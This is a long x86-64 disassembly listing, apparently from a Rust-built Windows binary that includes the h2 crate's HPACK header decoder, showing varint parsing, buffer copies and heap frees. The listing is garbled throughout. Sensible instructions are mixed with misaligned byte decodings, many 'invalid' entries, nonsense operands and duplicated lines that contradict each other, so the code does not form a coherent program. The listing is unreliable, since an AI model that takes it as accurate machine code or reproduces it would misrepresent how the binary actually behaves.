mov r14b, 1
cmp rax, rcx
jbe 0x14001b08a
movzx r8d, r8b
lea r9, [rcx + 1]
mov qword [rsp + 0x38], r9
and r8d, 0x7f
cmp r8, 0x7f
jne 0x14001a800
cmp rax, r9
jbe 0x14001b08a
movzx r10d, byte [rdx + rcx + 1]
lea r9, [rcx + 2]
mov qword [rsp + 0x38], r9
mov r8d, r10d
and r8d, 0x7f
add r8, 0x7f
test r10b, r10b
jns 0x14001a800
cmp rax, r9
jbe 0x14001b08a
movzx r10d, byte [rdx + rcx + 2]
lea r9, [rcx + 3]
mov qword [rsp + 0x38], r9
mov r11d, r10d
and r11d, 0x7f
shl r11d, 7
add r8, r11
test r10b, r10b
jns 0x14001a800
cmp rax, r9
jbe 0x14001b08a
movzx r10d, byte [rdx + rcx + 3]
lea r9, [rcx + 4]
mov qword [rsp + 0x38], r9
mov r11d, r10d
and r11d, 0x7f
shl r11d, 0xe
add r8, r11
test r10b, r10b
jns 0x14001a800
cmp rax, r9
jbe 0x14001b08a
movzx eax, byte [rdx + rcx + 4]
add rcx, 5
mov qword [rsp + 0x38], rcx
test al, al
js case.0x140018ed4.343
and eax, 0x7f
shl eax, 0x15
add r8, rax
jmp 0x14001a800
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, r15
mov r9b, 1
call fcn.14001c670
movzx r14d, byte [rsp + 0x40]
movzx eax, byte [rsp + 0x80]
cmp al, 8
je 0x14001b08a
lea rdx, [rsp + 0x41]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x2f]
lea r8, [rsp + 0x1a1]
movups xmmword [r8 + 0x2f], xmm3
movups xmmword [r8 + 0x20], xmm2
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov ecx, dword [rdx + 0x40]
mov edx, dword [rdx + 0x43]
mov dword [r8 + 0x43], edx
mov dword [r8 + 0x40], ecx
mov byte [rsp + 0x1a0], r14b
mov byte [rsp + 0x1e0], al
mov rcx, rdi
lea rdx, [rsp + 0x1a0]
call 0x14001d640
mov rcx, rdi
call fcn.14001d8a0
mov r14, rax
mov r13, qword [rsi + 0x30]
mov rdi, qword [rsi + 0x38]
add rax, r13
cmp rax, rdi
jbe 0x14001ac00
mov rcx, qword [rsp + 0x90]
mov rbp, qword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
mov rdx, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
sub byte [r13 + rcx*4 + 0x61], cl
dec dword [rax - 0x77]
xchg esp, eax
and al, 0xc8
add byte [rax], al
add byte [rax + 1], cl
ror dword [rax - 0x73], 1
or al, 0xc9
sub byte [r13 + rcx*4 + 0x61], cl
dec dword [rax - 0x77]
xchg esp, eax
and al, 0xc8
add byte [rax], al
add byte [rax + 1], cl
ror dword [rax - 0x73], 1
or al, 0xc9
lea r15, [rax + rcx*8]
add r15, 0xfffffffffffffff8
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
cld
dec dword [rax - 0x75]
pushfq
and al, 0x90
add byte [rax], al
add byte [rdi], cl
test byte [rcx], ah
add al, byte [rax]
add byte [rcx + rcx*4 + 0x63], cl
sub byte [rax - 0x75], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
add rax, r12
cmp r12, 0xffffffffffffffff
mov rbx, qword [rsp + 0x90]
je 0x14001ad23
mov qword [rbx + 0x28], r12
mov rax, qword [rsp + 0xc8]
add byte [rax], al
add byte [rax], al
add rax, r12
cmp rax, rbp
mov eax, 0
cmovae rax, rbp
shl rax, 3
lea rax, [rax + rax*8]
mov rcx, r15
sub rcx, rax
movups xmm0, xmmword [rcx - 0x40]
ror byte [r15], 0x10
ror byte [r15], 1
adc byte [rcx - 0x20], dl
ror byte [r15], 0x10
ror byte [r15], 1
adc byte [rcx - 0x20], dl
movups xmm3, xmmword [rcx - 0x10]
movaps xmmword [rsp + 0x190], xmm3
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
movzx eax, byte [rcx]
mov edx, dword [rcx + 4]
mov dword [rsp + 0xc3], edx
mov ecx, dword [rcx + 1]
mov dword [rsp + 0xc0], ecx
add byte [rax], al
add byte [rax + rcx], bh
add byte [rax], al
add byte [rax + rcx], bh
je 0x14001ad23
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmm3, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x80], al
add byte [rax], 0
add byte [rbx + 0xc02484], cl
add byte [rax], al
add byte [rax], 0
add byte [rbx + 0xc02484], cl
add byte [rax], al
mov ecx, dword [rsp + 0xc3]
lea rdx, [rsp + 0x41]
mov dword [rdx + 0x43], ecx
mov dword [rdx + 0x40], eax
lea rsi, [rsp + 0x40]
mov rcx, rsi
call fcn.14001d8a0
sub r13, rax
mov qword [rbx + 0x30], r13
mov rcx, rsi
call fcn.14009a0f0
lea rax, [r14 + r13]
dec r12
add r15, 0xffffffffffffffb8
cmp rax, rdi
ja 0x14001aaf0
nop
cmp rax, rdi
jbe 0x14001ad32
lea rdi, [rsp + 0xd0]
mov rcx, rdi
call fcn.14009a0f0
lea r15, [rsp + 0x30]
lea r12, [rsp + 0x138]
jmp 0x14001ae0e
cmp r8b, 0x1f
jbe 0x14001b087
mov r14b, 0xa
test r13b, 1
je 0x14001b08a
mov r14b, 1
cmp rax, rcx
jbe 0x14001b08a
lea r9, [rcx + 1]
mov qword [rsp + 0x38], r9
cmp byte [rcx - 0x80], al
loopne 0x14001ac7a
cmp byte [rcx - 0x80], al
loopne 0x14001ac7a
cmp r8b, 0x1f
mov qword [rsp + 0xc8], r13
jne 0x14001ae97
cmp rax, r9
jbe 0x14001b08a
movzx r9d, byte [rdx + rcx + 1]
or al, byte [rcx]
lea r8, [rcx + 2]
mov qword [rsp + 0x38], r8
mov edi, r9d
and edi, 0x7f
add rdi, 0x1f
test r9b, r9b
jns 0x14001ae9b
cmp rax, r8
jbe 0x14001b08a
movzx r9d, byte [rdx + rcx + 2]
lea r8, [rcx + 3]
mov qword [rsp + 0x38], r8
mov r10d, r9d
and r10d, 0x7f
shl r10d, 7
loop 0x14001acc2
loop 0x14001acc2
add rdi, r10
test r9b, r9b
jns 0x14001ae9b
mov esp, edx
add dword [rax], eax
add byte [rcx + rdi - 0x40], cl
cmp rax, r8
cmp rax, r8
jbe 0x14001b08a
movzx r9d, byte [rdx + rcx + 3]
lea r8, [rcx + 4]
mov qword [rsp + 0x38], r8
mov r10d, r9d
and r10d, 0x7f
shl r10d, 0xe
invalid
add rdi, r10
test r9b, r9b
jns 0x14001ae9b
cmp rax, r8
jbe 0x14001b08a
movzx eax, byte [rdx + rcx + 4]
add rcx, 5
mov qword [rsp + 0x38], rcx
test al, al
js case.0x140018ed4.343
and eax, 0x7f
shl eax, 0x15
add rdi, rax
jmp 0x14001ae9b
add r13, r14
mov rax, r13
cmp rax, rdi
ja 0x14001ac09
mov rsi, qword [rsp + 0x90]
mov qword [rsi + 0x30], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x80], rax
and al, 0x80
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xd0], al
add byte [rax - 0x77], cl
xor byte [rax - 0x75], r9b
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
and al, 0x80
and al, 0x80
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xd0], al
movups xmm1, xmmword [rsp + 0xe0]
movups xmm2, xmmword [rsp + 0xf0]
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xf0], dl
movups xmm3, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x28]
cmp rcx, rax
lea rdi, [rsp + 0xd0]
lea r15, [rsp + 0x30]
lea r12, [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
jne 0x14001adb9
mov rcx, qword [rsp + 0x118]
call fcn.14001d9a0
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x28]
add dword [rax], eax
add al, ch
out dx, eax
sub eax, dword [rax]
add byte [rax - 0x75], cl
adc byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
push rsi
sbb byte [rbx + rcx*4 + 0x46], cl
and byte [rcx - 1], r9b
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
and byte [rcx - 1], r9b
enter 0x14c, 0xffffffffffffffc0
enter 0x14c, 0xffffffffffffffc0
cmovae rax, r8
mov qword [rsi + 0x20], rax
and byte [rax - 1], r9b
ror dword [rax - 0x77], 0x4e
sub byte [rax - 0x73], cl
add al, 0xc0
and byte [rax - 1], r9b
ror dword [rax - 0x77], 0x4e
sub byte [rax - 0x73], cl
add al, 0xc0
movaps xmm0, xmmword [rsp + 0x40]
and al, 0x40
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
sub byte [rsp + 0x60], dl
movaps xmm3, xmmword [rsp + 0x70]
movups xmmword [rdx + rax*8], xmm0
movups xmmword [rdx + rax*8 + 0x10], xmm1
movups xmmword [rdx + rax*8 + 0x20], xmm2
and byte [rdi], cl
adc dword [rdx + rax*8 + 0x30], ebx
pop rsp
invalid
invalid
and byte [rdi], cl
adc dword [rdx + rax*8 + 0x30], ebx
pop rsp
invalid
invalid
pop rsp
ret 0x4830
invalid
mov rcx, qword [rsp + 0x80]
mov qword [rdx + rax*8 + 0x40], rcx
xor r13d, r13d
xor ebp, ebp
in eax, dx
lea rsi, [rsp + 0x40]
mov rcx, rsi
mov rdx, r15
xor r8d, r8d
invalid
shr al, 0xac
or eax, 0x8b480000
add byte [rax], al
mov rax, qword [rsp + 0x40]
call fcn.14001bbd0
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
lea rcx, [rsp + 0x58]
and al, 0x58
call qword [rax + 0x10]
mov rax, qword [rsp + 0x1e0]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rsp + 0x1a0]
add byte [rax], al
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rsp + 0x1a0]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x1b0]
mov al, 1
add byte [rax], al
movups xmm2, xmmword [rsp + 0x1c0]
add byte [rax], al
movups xmm3, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
push rsp
and al, 0x60
push rsp
and al, 0x60
movaps xmmword [rsp + 0x50], xmm1
and al, 0x50
push rax
movaps xmmword [rsp + 0x40], xmm0
mov rcx, r12
mov rdx, rsi
call fcn.14001bed0
mov rsi, qword [rsp + 0x90]
jmp 0x14001a8ae
invalid
cli
invalid
invalid
invalid
movzx edi, r8b
clc
mov r14b, 0xa
cmp rdi, qword [rsi + 0x60]
ja 0x14001b08a
xchg edx, esp
add dword [rax], eax
invalid
xchg edx, esp
add dword [rax], eax
add byte [rax - 0x77], cl
jle 0x14001aee4
mov qword [rsi + 0x38], rdi
mov rbx, qword [rsi + 0x30]
cmp rbx, rdi
jbe 0x14001af75
invalid
invalid
add byte [rax], al
invalid
xchg byte [rax + rax - 0x74b40000], bh
mov r15, qword [rsi + 0x10]
mov edi, dword [rsi + 0x10]
jle 0x14001aecd
mov rax, qword [rsi + 0x18]
mov r12, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
imul edi, edi, 0x48e1014c
loope 0x14001af19
add rcx, r12
lea rcx, [rcx + rcx*8]
loope 0x14001af19
lea ecx, [rcx + rcx*8]
lea r13, [rax + rcx*8]
lea ebp, [rax + rcx*8]
add r13, 0xffffffffffffffb8
jmp case.0x14008c40b.322
dec rbp
add r13, 0xffffffffffffffb8
invalid
invalid
add ebp, 0xffffffb8
invalid
cmp rbx, rdi
jbe 0x14001af75
cmp rbp, 0xffffffffffffffff
je 0x14001b18f
xchg ebp, eax
add al, byte [rax]
invalid
xchg ebp, eax
add al, byte [rax]
add byte [rcx - 0x73], cl
add al, 0x2c
invalid
lea rax, [r12 + rbp]
sub al, 0x4c
cmp eax, edi
cmp rax, r15
mov eax, 0
cmovae rax, r15
shl rax, 3
lea rax, [rax + rax*8]
mov r14, r13
sub r14, rax
invalid
mov rcx, r14
invalid
mov ecx, esi
call fcn.14001d8a0
add byte [rax], al
sub rbx, rax
mov qword [rsi + 0x30], rbx
mov qword [rsi + 0x28], rbp
mov rax, qword [r14 + 0x40]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [r14]
movups xmm0, xmmword [rsi]
adc byte [rsi], al
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
adc byte [rcx + 0xf], al
adc byte [rsi + 0x20], dl
movups xmm3, xmmword [r14 + 0x30]
movaps xmmword [rsp + 0x70], xmm3
sub dword [rsp + 0x70], ebx
pop rsi
xor byte [rdi], cl
sub dword [rsp + 0x70], ebx
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
sub dword [rsp + 0x40], eax
cmp al, 8
je 0x14001aee0
lea rcx, [rsp + 0x40]
and al, 0x40
call fcn.14009a0f0
jmp 0x14001aee0
lea rcx, [rsp + 0x40]
lea r15, [rsp + 0x30]
lea edi, [rsp + 0x30]
mov rdx, r15
cli
xor r8d, r8d
call fcn.14001bbd0
mov rax, qword [rsp + 0x40]
and al, 0x40
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
and al, 0x58
and al, 0x58
and al, 0x58
call qword [rax + 0x10]
lea rdi, [rsp + 0xd0]
lea edi, [rsp + 0xd0]
lea edi, [rsp + 0xd0]
lea r12, [rsp + 0x138]
mov r13, qword [rsp + 0xc8]
jmp 0x14001a8ae
invalid
invalid
movsb byte [rdi], byte [rsi]
and al, 0x38
add dword [rax], eax
add byte [rbx + rcx*4 - 0x54], cl
and al, 0xc8
add byte [rax], al
add cl, ch
invalid
invalid
dec dword [rbx + rcx*4 - 0x7c]
and al, 0x98
mov r8, qword [rsp + 0x98]
cmp r8, 2
je case.0x14001a36d.431
jb 0x14001afcf
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rdx + 1], dh
jb 0x14001afcf
jb 0x14001afcf
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
test al, 0
add byte [rax], al
test r8, r8
je case.0x140018ed4.374
invalid
invalid
add byte [rax], al
mov rax, qword [rsp + 0xa8]
test al, 0
add byte [rax], al
test r8, r8
je case.0x140018ed4.374
mov r8, qword [rax + 0x10]
dec r8
dec eax
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rsi], ch
add dword cs:[rax], eax
invalid
and al, 0x98
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rsi], ch
add dword cs:[rax], eax
add dword cs:[rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov word [rax + riz*4], fs
invalid
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
movabs al, byte [0xa824848b48000000]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
invalid
invalid
je 0x14001b166
xor dword [rcx], eax
add byte [rax], al
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add ecx, eax
add ecx, eax
ror dword [rax - 0x7d], 0xc1
adc bh, bh
call qword [rax + 0x80]
invalid
invalid
test byte [rax + riz*4], ah
and al, 0xa0
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add al, dh
dec qword [rax]
add byte [rax], al
add al, dh
dec qword [rax]
jne case.0x14001a36d.431
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
mov edx, dword [rsp + 0xa8]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
xchg esp, eax
and al, 0xa8
movabs al, byte [0xa824948b48000000]
mov edx, dword [rsp + 0xa8]
add byte [rax], al
add al, ch
pop rsp
call fcn.1400049d0
mov r14b, 0x13
cmp byte [rsp + 0x2e], 0
cdq
invalid
inc dword [rcx - 0x4a]
adc eax, dword [rax + 0x2e247c]
jne 0x14001b14f
add byte [rax], al
add cl, ch
jmp case.0x140012ef4.411
invalid
mov r14b, 3
add ecx, dword [rbx + rcx*4 - 0x7c]
and al, 0x98
mov r8, qword [rsp + 0x98]
cmp r8, 2
je 0x14001b13c
invalid
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rax + 0x48000000], ah
lea edx, [rsp + 0xb0]
mov al, 0
add byte [rax], al
lea rdx, [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
test r8, r8
test eax, eax
je 0x14001b0cb
adc cl, byte [rbx + rcx*4 + 0x40]
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
and eax, 0xfffffff0
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
and eax, 0xfffffff0
and eax, 0xfffffff0
add rcx, r8
add ecx, eax
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x98]
mov eax, dword [rsp + 0x98]
push 0x24848b4c
cwde
and al, 0x98
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add dh, byte [rax + riz*2 + 0x48]
cmp r8, 2
je 0x14001b13c
mov rdx, qword [rsp + 0xb0]
mov edx, dword [rsp + 0xb0]
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
test r8, r8
je case.0x14008c40b.343
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
test r8, r8
je case.0x14008c40b.343
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0xa0]
lock dec qword [rax]
jne 0x14001b13c
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
mov edx, dword [rsp + 0xa8]
mov edx, dword [rsp + 0xa8]
test al, 0
add byte [rax], al
call fcn.1400049d0
jmp 0x14001b13c
call qword [rax + 0x80]
cmp r14b, 0xc
jne 0x14001b14f
mov r14b, 0x13
cmp byte [rsp + 0x2e], 0
invalid
adc eax, dword [rax + 0x2e247c]
add byte [rbp + 3], dh
jne 0x14001b14f
mov r14b, 0x15
mov eax, r14d
add rsp, 0x1e8
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call qword [rax + 0x80]
add byte [rax], al
mov r14b, 0x13
mov dh, 0x13
cmp byte [rsp + 0x2e], 0
jne 0x14001b14f
jmp case.0x140012ef4.411
mov r14b, 0xb
mov dh, 0xb
mov r8, qword [rsp + 0x98]
cmp r8, 2
jne 0x14001b09c
invalid
invalid
invalid
jmp 0x14001b13c
lea rcx, [0x140112f21]
lea ecx, [0x140112f21]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackdecoder.rsSize_of_table___0__but_no_headers_left_
mov edx, 0x28
add byte [rdx + 0x28], bh
call fcn.140104d10
int3
int3
int3
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x12306c
invalid
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
invalid
mov r8d, 8
mov eax, 8
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je 0x14001b1fd
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
invalid
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
invalid
xor byte [rax - 0x39], cl
mov qword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
invalid
mov byte [rsp + 0x31], 0
lea r8, [0x140112710]
add eax, 0xf751d
add byte [rbp + rcx*4 + 5], cl
sbb eax, 0x48000f75
lea rcx, [rsp + 0x20]
add eax, 0xf751d
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016520
mov rcx, qword [rsp + 0x20]
mov ecx, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x20]
and byte [rdi], cl
mov dh, 0x54
and al, 0x30
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je case.0x140012ef4.407
pop rax
mov al, 1
test dl, dl
sal byte [rbp + 0x54], cl
sal byte [rbp + 0x54], cl
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
stc
add dword [rbp + 0x2d], esi
add dword [rbp + 0x2d], esi
cmp byte [rsp + 0x31], 0
and al, 0x31
add byte [rsi + riz - 0xa], dh
je 0x14001b24f
test byte [rsi + 0x34], 4
je 0x14001b24f
test byte [rsi + 0x34], 4
jne 0x14001b24f
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, str._____
adc eax, 0x1259b2
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
sal dword [rax + 0x75c98401], 0x1c
sal dword [rax + 0x75c98401], 0x1c
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x12ef6a
sub byte [rax - 0x73], r9b
adc eax, 0x12ef6a
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
jmp 0x14001b26b
push rax
sbb bl, ch
add cl, byte [rcx + 0xfc084d0]
mov eax, edx
test al, al
invalid
mov eax, edx
test al, al
setne al
xchg ebp, eax
invalid
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
add rsp, 0x40
pop rsi
add rsp, 0x40
pop rsi
ret
int3
add dword [rbx + rcx], edi
cmp al, 0xb
je 0x14001b2ad
cmp al, 0xa
jb 0x14001b2ad
cmp qword [rsi + 0x10], 0
je 0x14001b2ad
mov r8, qword [rsi + 8]
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
mov ecx, dword [0x14017d208]
or eax, 0x161f63
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x18]
mov eax, dword [rsi + 0x18]
sbb byte [rax - 0x7b], cl
sal byte [rdi + rcx + 0x48], 0x8d
xor byte [rax - 0x75], r9b
push rsi
and byte [rbx + rcx*4 + 0x46], cl
sub dil, r15b
test rax, rax
je 0x14001b2c5
lea rcx, [rsi + 0x30]
mov rdx, qword [rsi + 0x20]
mov r8, qword [rsi + 0x28]
sub dil, r15b
push rax
invalid
sub dil, r15b
push rax
adc byte [rax - 0x75], cl
mov eax, dword [rsi + 0x38]
invalid
invalid
mov rax, qword [rsi + 0x38]
mov eax, dword [rsi + 0x38]
test rax, rax
je 0x14001b2dd
sal byte [rdi + rcx + 0x48], 0x8d
push rax
push rax
lea rcx, [rsi + 0x50]
push rax
mov rdx, qword [rsi + 0x40]
mov r8, qword [rsi + 0x48]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x58]
pop rax
test rax, rax
je 0x14001b2f5
lea rcx, [rsi + 0x70]
lea ecx, [rsi + 0x70]
mov rdx, qword [rsi + 0x60]
mov r8, qword [rsi + 0x68]
invalid
call qword [rax + 0x10]
mov rax, qword [rsi + 0x78]
test rax, rax
je 0x14001b31f
mov rax, qword [rax + 0x10]
adc byte [rax - 0x73], cl
mov ss, word [rax + 0x48000000]
nop
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
add byte [rax], 0
invalid
lea rcx, [rsi + 0x90]
mov rdx, qword [rsi + 0x80]
add byte [rax], 0
invalid
add byte [rax - 0x75], cl
xchg esi, eax
add byte [rax], 0
add byte [rbx + rcx*4 - 0x7a], cl
mov r8, qword [rsi + 0x88]
mov byte [rax], al
add byte [rax], al
add rsp, 0x20
pop rsi
jmp rax
and byte [rsi + 0x48], bl
jmp rax
nop
add rsp, 0x20
and byte [rsi - 0x3d], bl
and byte [rsi - 0x3d], bl
int3
int3
and byte [rbx + 0x6750239], al
add rsp, 0x20
add esp, 0x20
pop rsi
ret
add ecx, 8
call fcn.1400524f0
add eax, dword [rax]
lea rcx, [rsi + 0x68]
call fcn.14001b280
mov r8, qword [rsi + 0x140]
test r8b, 1
jne 0x14001b391
add dword [rbp + 0x2f], esi
lock dec qword [r8 + 0x20]
jne 0x14001b33a
invalid
and byte [rbp - 0x2f], sil
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14001b3a8
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
invalid
or byte [rax - 0x75], cl
or eax, 0x161e8a
invalid
add byte [rcx], dh
ror byte [rcx + rcx*4 - 0x3a], cl
mov rsi, r8
xor edx, edx
mov rsi, r8
mov esi, eax
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x14001b3a8
add byte [rcx - 0x77], cl
invalid
shr r8, 5
neg r8
fmul dword [rcx + rdi - 0x7a]
cmp byte [rcx], al
add byte [rax], al
invalid
fmul dword [rcx + rdi - 0x7a]
cmp byte [rcx], al
add byte [rax], al
invalid
add byte [rcx + rbx*4 + 0x4c], dh
je 0x14001b33a
cdq
add r8, qword [rsi + 0x128]
add eax, dword [rsi + 0x128]
add byte [rax - 0x75], cl
mov rcx, qword [0x14017d208]
or eax, 0x161e59
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0xf4043
and eax, 0xf4043
int3
int3
sub rsp, 0x80
in al, dx
add byte [rax], 0
add byte [rbp - 0x7b], cl
test r8, r8
je 0x14001b475
invalid
invalid
test r8, r8
je 0x14001b475
test byte [rax + rax - 0x7cb70000], ah
cmp r8, 0x3e
jae 0x14001b403
clc
jae 0x14001b403
lea r9, [0x1401127a0]
or eax, 0xf73c2
ret 0xf73
dec r8
lea rax, [0x140172a1c]
xor al, 0x76
adc eax, 0x14634a00
invalid
adc al, 0x80
enter 0xffffffffffff8d48, 5
xor al, 0x76
adc eax, 0x14634a00
invalid
adc al, 0x80
add rdx, rax
invalid
add rdx, rax
jmp rdx
mov r10b, 2
lea r8, [0x14016f768]
invalid
add byte [rbp + 0x31], al
fucomi st(1)
mov es, word [rdi]
xor r11d, r11d
jmp 0x14001bb91
add byte [rax], al
add byte [rax], al
add r8, 0xffffffffffffffc2
cmp qword [rdx + 0x18], r8
invalid
rol dl, 0x4c
cmp dword [rdx + 0x18], eax
invalid
sbb byte [rsi + 0x68], dh
jbe 0x14001b475
mov rax, qword [rdx]
add r8, qword [rdx + 0x10]
xor r9d, r9d
cmp r8, rax
cmovae r9, rax
cmovae ecx, eax
cmovae ecx, eax
enter 0x294d, 0xffffffffffffffc8
sub r8, r9
lea rax, [r8 + r8*8]
lea eax, [rax + rax*8]
shl rax, 3
shl eax, 3
add rax, qword [rdx + 8]
lea rdx, [rsp + 0x38]
or byte [rax - 0x73], cl
push rsp
and al, 0x38
mov rsi, rcx
mov rcx, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
call 0x14001d640
add byte [rdx], ah
add byte [rax], al
and al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x78
and al, 0x78
mov rax, qword [rsp + 0x78]
and al, 0x78
mov qword [rsi + 0x40], rax
movups xmm0, xmmword [rsp + 0x38]
movups xmm0, xmmword [rsp + 0x38]
and al, 0x38
movups xmm1, xmmword [rsp + 0x48]
movups xmm2, xmmword [rsp + 0x58]
push rsp
and al, 0x58
